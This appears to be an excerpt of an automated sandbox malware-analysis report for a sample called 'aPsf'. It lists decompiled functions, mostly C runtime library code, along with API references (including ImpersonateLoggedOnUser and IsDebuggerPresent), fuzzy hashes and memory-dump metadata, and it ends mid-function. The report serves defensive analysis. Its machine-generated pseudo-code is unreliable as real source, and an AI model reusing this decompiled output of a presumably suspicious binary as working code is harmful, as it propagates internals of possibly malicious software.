API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 6b3a16f1819b3e7c48d4d2ad3c7bbc3eda44bfaa68e7ced03d48010eff21e268
Instruction ID: 17c042ba7160379a5e6fa6329ab78b264e23fdead818b3d7bd86f6c9624d4395
Opcode Fuzzy Hash: 6b3a16f1819b3e7c48d4d2ad3c7bbc3eda44bfaa68e7ced03d48010eff21e268
Instruction Fuzzy Hash: 1A1128B1D002598BDB10DFAAC5447EEBBF4EF98314F208419D519A7380C779A944CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02529ED8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 02529F37

Memory Dump Source

Source File: 00000002.00000002.293097174.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2520000_aPsf.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 73574372a016623ac6b8050e3855ed32a7bf44495712f00a4da7b637b9dca009
Instruction ID: 82e900a92f4c4ff2de3d950214afd42e8e90bb058fb034bb5426bb00b429ac39
Opcode Fuzzy Hash: 73574372a016623ac6b8050e3855ed32a7bf44495712f00a4da7b637b9dca009
Instruction Fuzzy Hash: 4C1106B1900259CFDB10CF9AD944BDEBBF8EB58324F20845AD558A3780D378A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02529CC8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE ref: 02529D27

Memory Dump Source

Source File: 00000002.00000002.293097174.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2520000_aPsf.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 26446bd910e21c220aef39721e0258155c77a42f01f74c24984f9fabfe6c9c6c
Instruction ID: 0854e1ebedb4f47d1d6b178644bc87b9d3c66826598c72c3df0f1b736f09f512
Opcode Fuzzy Hash: 26446bd910e21c220aef39721e0258155c77a42f01f74c24984f9fabfe6c9c6c
Instruction Fuzzy Hash: 201106B59002598FDB10CF9AD944BDEFBF8EB58324F20845AD558A3780D378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D534(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x4234b4 = _t6;
				if(_t6 != 0) {
					 *0x4250b0 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0040d549
0x0040d54f
0x0040d556
0x0040d55d
0x0040d563
0x0040d559
0x0040d559
0x0040d559

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA0A Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E0040EA0A(intOrPtr _a4) {
				void* __ebp;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t8;

				_push(0);
				_push(0);
				_push(_a4);
				_t2 = E0040E8DE(_t3, _t4, _t5, _t8); // executed
				return _t2;
			}

0x0040ea0f
0x0040ea11
0x0040ea13
0x0040ea16
0x0040ea1f

APIs

_doexit.LIBCMT ref: 0040EA16

Part of subcall function 0040E8DE: __lock.LIBCMT ref: 0040E8EC
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E923
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E938
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E962
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E978
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E985
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9B4
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9C4

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: a0257ab8b89ab24c4dda27abc63ac43d0f25756bab2839dd78a8b277d7454467
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: D2B0923298420833EA202643AC03F063B1987C0B64E244031BA0C2E1E1A9A2A9618189

Uniqueness

Uniqueness Score: -1.00%

Function 0084D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.292658701.000000000084D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0084D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_84d000_aPsf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e104a1e4195cbc603625ce7445cff17741342c25fbea1322d8f3225652de673
Instruction ID: 5d3bd7544ca20318de6637aec213db6ea65be3fd9cd093fc760d4a82dbf66fce
Opcode Fuzzy Hash: 9e104a1e4195cbc603625ce7445cff17741342c25fbea1322d8f3225652de673
Instruction Fuzzy Hash: CC01F771404788AAE7108A16CC80B62BFD8FF51364F18C11AED059B242C2789C45C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 0084D01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.292658701.000000000084D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0084D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_84d000_aPsf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7eb92c8b4d5da2874c60461c078e870559386acf239d57516a7994de8bad3119
Instruction ID: 166feee001bf90d5139cc09c3fb089bfe0193d5d576b1d0e05a06f111e736fd6
Opcode Fuzzy Hash: 7eb92c8b4d5da2874c60461c078e870559386acf239d57516a7994de8bad3119
Instruction Fuzzy Hash: 7AF0C271404388AEE7108A16CC84B62FFDCEB51324F18C15AED585F686C3799C44CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040CE09(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x422234; // 0x5a9fcee
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x423b98 = _t6;
				 *0x423b94 = _t22;
				 *0x423b90 = _t25;
				 *0x423b8c = _t21;
				 *0x423b88 = _t27;
				 *0x423b84 = _t26;
				 *0x423bb0 = ss;
				 *0x423ba4 = cs;
				 *0x423b80 = ds;
				 *0x423b7c = es;
				 *0x423b78 = fs;
				 *0x423b74 = gs;
				asm("pushfd");
				_pop( *0x423ba8);
				 *0x423b9c =  *_t31;
				 *0x423ba0 = _v0;
				 *0x423bac =  &_a4;
				 *0x423ae8 = 0x10001;
				_t11 =  *0x423ba0; // 0x0
				 *0x423a9c = _t11;
				 *0x423a90 = 0xc0000409;
				 *0x423a94 = 1;
				_t12 =  *0x422234; // 0x5a9fcee
				_v812 = _t12;
				_t13 =  *0x422238; // 0xfa560311
				_v808 = _t13;
				 *0x423ae0 = IsDebuggerPresent();
				_push(1);
				E004138FC(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x41fb80);
				if( *0x423ae0 == 0) {
					_push(1);
					E004138FC(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce0f
0x0040ce11
0x0040ce11
0x00413644
0x00413649
0x0041364f
0x00413655
0x0041365b
0x00413661
0x00413667
0x0041366e
0x00413675
0x0041367c
0x00413683
0x0041368a
0x00413691
0x00413692
0x0041369b
0x004136a3
0x004136ab
0x004136b6
0x004136c0
0x004136c5
0x004136ca
0x004136d4
0x004136de
0x004136e3
0x004136e9
0x004136ee
0x004136fa
0x004136ff
0x00413701
0x00413709
0x00413714
0x00413721
0x00413723
0x00413725
0x0041372a
0x0041373e

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ADB0(intOrPtr* __ecx) {
				void* _t5;
				intOrPtr* _t11;

				_t11 = __ecx;
				_t5 =  *(__ecx + 8);
				 *__ecx = 0x41eff0;
				if(_t5 != 0) {
					_t5 =  *((intOrPtr*)( *((intOrPtr*)( *_t5 + 8))))(_t5);
				}
				if( *(_t11 + 0xc) != 0) {
					_t5 = GetProcessHeap();
					if(_t5 != 0) {
						return HeapFree(_t5, 0,  *(_t11 + 0xc));
					}
				}
				return _t5;
			}

0x0040adb3
0x0040adb5
0x0040adb8
0x0040adc0
0x0040adc8
0x0040adc8
0x0040adce
0x0040add0
0x0040add8
0x00000000
0x0040ade1
0x0040add8
0x0040ade8

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E00417081(short* __ecx, int _a4, signed int _a8, char* _a12, int _a16, char* _a20, int _a24, int _a28, intOrPtr _a32) {
				signed int _v8;
				int _v12;
				int _v16;
				int _v20;
				intOrPtr _v24;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t110;
				intOrPtr _t112;
				intOrPtr _t113;
				short* _t115;
				short* _t116;
				char* _t120;
				short* _t121;
				short* _t123;
				short* _t127;
				int _t128;
				short* _t141;
				signed int _t144;
				void* _t146;
				short* _t147;
				signed int _t150;
				short* _t153;
				char* _t157;
				int _t160;
				long _t162;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				int _t182;
				short* _t184;
				signed int _t186;
				signed int _t188;
				short* _t189;
				int _t191;
				intOrPtr _t194;
				int _t207;

				_t110 =  *0x422234; // 0x5a9fcee
				_v8 = _t110 ^ _t188;
				_t184 = __ecx;
				_t194 =  *0x423e7c; // 0x1
				if(_t194 == 0) {
					_t182 = 1;
					if(LCMapStringW(0, 0x100, 0x420398, 1, 0, 0) == 0) {
						_t162 = GetLastError();
						__eflags = _t162 - 0x78;
						if(_t162 == 0x78) {
							 *0x423e7c = 2;
						}
					} else {
						 *0x423e7c = 1;
					}
				}
				if(_a16 <= 0) {
					L13:
					_t112 =  *0x423e7c; // 0x1
					if(_t112 == 2 || _t112 == 0) {
						_v16 = 0;
						_v20 = 0;
						__eflags = _a4;
						if(_a4 == 0) {
							_a4 =  *((intOrPtr*)( *_t184 + 0x14));
						}
						__eflags = _a28;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t113 = E00417A20(0, _t179, _t182, _t184, _a4);
						_v24 = _t113;
						__eflags = _t113 - 0xffffffff;
						if(_t113 != 0xffffffff) {
							__eflags = _t113 - _a28;
							if(_t113 == _a28) {
								_t184 = LCMapStringA(_a4, _a8, _a12, _a16, _a20, _a24);
								L78:
								__eflags = _v16;
								if(__eflags != 0) {
									_push(_v16);
									E0040B6B5(0, _t182, _t184, __eflags);
								}
								_t115 = _v20;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags = _a20 - _t115;
									if(__eflags != 0) {
										_push(_t115);
										E0040B6B5(0, _t182, _t184, __eflags);
									}
								}
								_t116 = _t184;
								goto L84;
							}
							_t120 = E00417A69(_t179, _a28, _t113, _a12,  &_a16, 0, 0);
							_t191 =  &(_t189[0xc]);
							_v16 = _t120;
							__eflags = _t120;
							if(_t120 == 0) {
								goto L58;
							}
							_t121 = LCMapStringA(_a4, _a8, _t120, _a16, 0, 0);
							_v12 = _t121;
							__eflags = _t121;
							if(__eflags != 0) {
								if(__eflags <= 0) {
									L71:
									_t182 = 0;
									__eflags = 0;
									L72:
									__eflags = _t182;
									if(_t182 == 0) {
										goto L62;
									}
									E0040BA30(_t182, _t182, 0, _v12);
									_t123 = LCMapStringA(_a4, _a8, _v16, _a16, _t182, _v12);
									_v12 = _t123;
									__eflags = _t123;
									if(_t123 != 0) {
										_t186 = E00417A69(_t179, _v24, _a28, _t182,  &_v12, _a20, _a24);
										_v20 = _t186;
										asm("sbb esi, esi");
										_t184 =  ~_t186 & _v12;
										__eflags = _t184;
									} else {
										_t184 = 0;
									}
									E004147AE(_t182);
									goto L78;
								}
								__eflags = _t121 - 0xffffffe0;
								if(_t121 > 0xffffffe0) {
									goto L71;
								}
								_t127 =  &(_t121[4]);
								__eflags = _t127 - 0x400;
								if(_t127 > 0x400) {
									_t128 = E0040B84D(0, _t179, _t182, _t127);
									__eflags = _t128;
									if(_t128 != 0) {
										 *_t128 = 0xdddd;
										_t128 = _t128 + 8;
										__eflags = _t128;
									}
									_t182 = _t128;
									goto L72;
								}
								E0040CFB0(_t127);
								_t182 = _t191;
								__eflags = _t182;
								if(_t182 == 0) {
									goto L62;
								}
								 *_t182 = 0xcccc;
								_t182 = _t182 + 8;
								goto L72;
							}
							L62:
							_t184 = 0;
							goto L78;
						} else {
							goto L58;
						}
					} else {
						if(_t112 != 1) {
							L58:
							_t116 = 0;
							L84:
							return E0040CE09(_t116, 0, _v8 ^ _t188, _t179, _t182, _t184);
						}
						_v12 = 0;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t184 = MultiByteToWideChar;
						_t182 = MultiByteToWideChar(_a28, 1 + (0 | _a32 != 0x00000000) * 8, _a12, _a16, 0, 0);
						_t207 = _t182;
						if(_t207 == 0) {
							goto L58;
						} else {
							if(_t207 <= 0) {
								L28:
								_v16 = 0;
								L29:
								if(_v16 == 0) {
									goto L58;
								}
								if(MultiByteToWideChar(_a28, 1, _a12, _a16, _v16, _t182) == 0) {
									L52:
									E004147AE(_v16);
									_t116 = _v12;
									goto L84;
								}
								_t184 = LCMapStringW;
								_t174 = LCMapStringW(_a4, _a8, _v16, _t182, 0, 0);
								_v12 = _t174;
								if(_t174 == 0) {
									goto L52;
								}
								if((_a8 & 0x00000400) == 0) {
									__eflags = _t174;
									if(_t174 <= 0) {
										L44:
										_t184 = 0;
										__eflags = 0;
										L45:
										__eflags = _t184;
										if(_t184 != 0) {
											_t141 = LCMapStringW(_a4, _a8, _v16, _t182, _t184, _v12);
											__eflags = _t141;
											if(_t141 != 0) {
												_push(0);
												_push(0);
												__eflags = _a24;
												if(_a24 != 0) {
													_push(_a24);
													_push(_a20);
												} else {
													_push(0);
													_push(0);
												}
												_v12 = WideCharToMultiByte(_a28, 0, _t184, _v12, ??, ??, ??, ??);
											}
											E004147AE(_t184);
										}
										goto L52;
									}
									_t144 = 0xffffffe0;
									_t179 = _t144 % _t174;
									__eflags = _t144 / _t174 - 2;
									if(_t144 / _t174 < 2) {
										goto L44;
									}
									_t52 = _t174 + 8; // 0x8
									_t146 = _t174 + _t52;
									__eflags = _t146 - 0x400;
									if(_t146 > 0x400) {
										_t147 = E0040B84D(0, _t179, _t182, _t146);
										__eflags = _t147;
										if(_t147 != 0) {
											 *_t147 = 0xdddd;
											_t147 =  &(_t147[4]);
											__eflags = _t147;
										}
										_t184 = _t147;
										goto L45;
									}
									E0040CFB0(_t146);
									_t184 = _t189;
									__eflags = _t184;
									if(_t184 == 0) {
										goto L52;
									}
									 *_t184 = 0xcccc;
									_t184 =  &(_t184[4]);
									goto L45;
								}
								if(_a24 != 0 && _t174 <= _a24) {
									LCMapStringW(_a4, _a8, _v16, _t182, _a20, _a24);
								}
								goto L52;
							}
							_t150 = 0xffffffe0;
							_t179 = _t150 % _t182;
							if(_t150 / _t182 < 2) {
								goto L28;
							}
							_t25 = _t182 + 8; // 0x8
							_t152 = _t182 + _t25;
							if(_t182 + _t25 > 0x400) {
								_t153 = E0040B84D(0, _t179, _t182, _t152);
								__eflags = _t153;
								if(_t153 == 0) {
									L27:
									_v16 = _t153;
									goto L29;
								}
								 *_t153 = 0xdddd;
								L26:
								_t153 =  &(_t153[4]);
								goto L27;
							}
							E0040CFB0(_t152);
							_t153 = _t189;
							if(_t153 == 0) {
								goto L27;
							}
							 *_t153 = 0xcccc;
							goto L26;
						}
					}
				}
				_t178 = _a16;
				_t157 = _a12;
				while(1) {
					_t178 = _t178 - 1;
					if( *_t157 == 0) {
						break;
					}
					_t157 =  &(_t157[1]);
					if(_t178 != 0) {
						continue;
					}
					_t178 = _t178 | 0xffffffff;
					break;
				}
				_t160 = _a16 - _t178 - 1;
				if(_t160 < _a16) {
					_t160 = _t160 + 1;
				}
				_a16 = _t160;
				goto L13;
			}

0x00417089
0x00417090
0x00417098
0x0041709a
0x004170a0
0x004170a6
0x004170bb
0x004170c5
0x004170cb
0x004170ce
0x004170d0
0x004170d0
0x004170bd
0x004170bd
0x004170bd
0x004170bb
0x004170dd
0x00417101
0x00417101
0x00417109
0x004172bb
0x004172be
0x004172c1
0x004172c4
0x004172cb
0x004172cb
0x004172ce
0x004172d1
0x004172d8
0x004172d8
0x004172de
0x004172e4
0x004172e7
0x004172ea
0x004172f3
0x004172f6
0x004173ef
0x004173f1
0x004173f1
0x004173f4
0x004173f6
0x004173f9
0x004173fe
0x004173ff
0x00417402
0x00417404
0x00417406
0x00417409
0x0041740b
0x0041740c
0x00417411
0x00417409
0x00417412
0x00000000
0x00417412
0x00417309
0x0041730e
0x00417311
0x00417314
0x00417316
0x00000000
0x00000000
0x0041732a
0x0041732c
0x0041732f
0x00417331
0x0041733a
0x00417379
0x00417379
0x00417379
0x0041737b
0x0041737b
0x0041737d
0x00000000
0x00000000
0x00417384
0x0041739c
0x0041739e
0x004173a1
0x004173a3
0x004173bf
0x004173c1
0x004173c9
0x004173cb
0x004173cb
0x004173a5
0x004173a5
0x004173a5
0x004173cf
0x00000000
0x004173d4
0x0041733c
0x0041733f
0x00000000
0x00000000
0x00417341
0x00417344
0x00417349
0x00417362
0x00417368
0x0041736a
0x0041736c
0x00417372
0x00417372
0x00417372
0x00417375
0x00000000
0x00417375
0x0041734b
0x00417350
0x00417352
0x00417354
0x00000000
0x00000000
0x00417356
0x0041735c
0x00000000
0x0041735c
0x00417333
0x00417333
0x00000000
0x00000000
0x00000000
0x00000000
0x00417117
0x0041711a
0x004172ec
0x004172ec
0x00417414
0x00417425
0x00417425
0x00417120
0x00417126
0x0041712d
0x0041712d
0x00417130
0x00417153
0x00417155
0x00417157
0x00000000
0x0041715d
0x0041715d
0x004171a2
0x004171a2
0x004171a5
0x004171a8
0x00000000
0x00000000
0x004171c1
0x004172aa
0x004172ad
0x004172b2
0x00000000
0x004172b5
0x004171c7
0x004171db
0x004171dd
0x004171e2
0x00000000
0x00000000
0x004171ef
0x0041721a
0x0041721c
0x00417263
0x00417263
0x00417263
0x00417265
0x00417265
0x00417267
0x00417277
0x0041727d
0x0041727f
0x00417281
0x00417282
0x00417283
0x00417286
0x0041728c
0x0041728f
0x00417288
0x00417288
0x00417289
0x00417289
0x004172a0
0x004172a0
0x004172a4
0x004172a9
0x00000000
0x00417267
0x00417222
0x00417223
0x00417225
0x00417228
0x00000000
0x00000000
0x0041722a
0x0041722a
0x0041722e
0x00417233
0x0041724c
0x00417252
0x00417254
0x00417256
0x0041725c
0x0041725c
0x0041725c
0x0041725f
0x00000000
0x0041725f
0x00417235
0x0041723a
0x0041723c
0x0041723e
0x00000000
0x00000000
0x00417240
0x00417246
0x00000000
0x00417246
0x004171f4
0x00417213
0x00417213
0x00000000
0x004171f4
0x00417163
0x00417164
0x00417169
0x00000000
0x00000000
0x0041716b
0x0041716b
0x00417174
0x0041718a
0x00417190
0x00417192
0x0041719d
0x0041719d
0x00000000
0x0041719d
0x00417194
0x0041719a
0x0041719a
0x00000000
0x0041719a
0x00417176
0x0041717b
0x0041717f
0x00000000
0x00000000
0x00417181
0x00000000
0x00417181
0x00417157
0x00417109
0x004170df
0x004170e2
0x004170e5
0x004170e5
0x004170e8
0x00000000
0x00000000
0x004170ea
0x004170ed
0x00000000
0x00000000
0x004170ef
0x00000000
0x004170ef
0x004170f7
0x004170fb
0x004170fd
0x004170fd
0x004170fe
0x00000000

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,008718D8), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Uniqueness

Uniqueness Score: -1.00%

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004057B0(intOrPtr* __eax) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t57;
				char* _t60;
				char _t62;
				intOrPtr _t63;
				char _t64;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t74;
				intOrPtr _t79;
				intOrPtr _t82;
				intOrPtr* _t83;
				void* _t86;
				char* _t88;
				char* _t89;
				intOrPtr* _t91;
				intOrPtr* _t93;
				signed int _t97;
				signed int _t98;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;

				_t98 = _t97 | 0xffffffff;
				 *((intOrPtr*)(_t100 + 0xc)) = 0;
				_t91 = __eax;
				 *((intOrPtr*)(_t100 + 0x10)) = _t100 + 0x10;
				if( *((intOrPtr*)(_t100 + 0x68)) == 0 || __eax == 0) {
					__eflags = 0;
					return 0;
				} else {
					_t93 = E0040B84D(0, _t86, __eax, 0x74);
					_t101 = _t100 + 4;
					if(_t93 == 0) {
						L31:
						return 0;
					} else {
						 *((intOrPtr*)(_t93 + 0x20)) = 0;
						 *((intOrPtr*)(_t93 + 0x24)) = 0;
						 *((intOrPtr*)(_t93 + 0x28)) = 0;
						 *((intOrPtr*)(_t93 + 0x44)) = 0;
						 *_t93 = 0;
						 *((intOrPtr*)(_t93 + 0x48)) = 0;
						 *((intOrPtr*)(_t93 + 0xc)) = 0;
						 *((intOrPtr*)(_t93 + 0x10)) = 0;
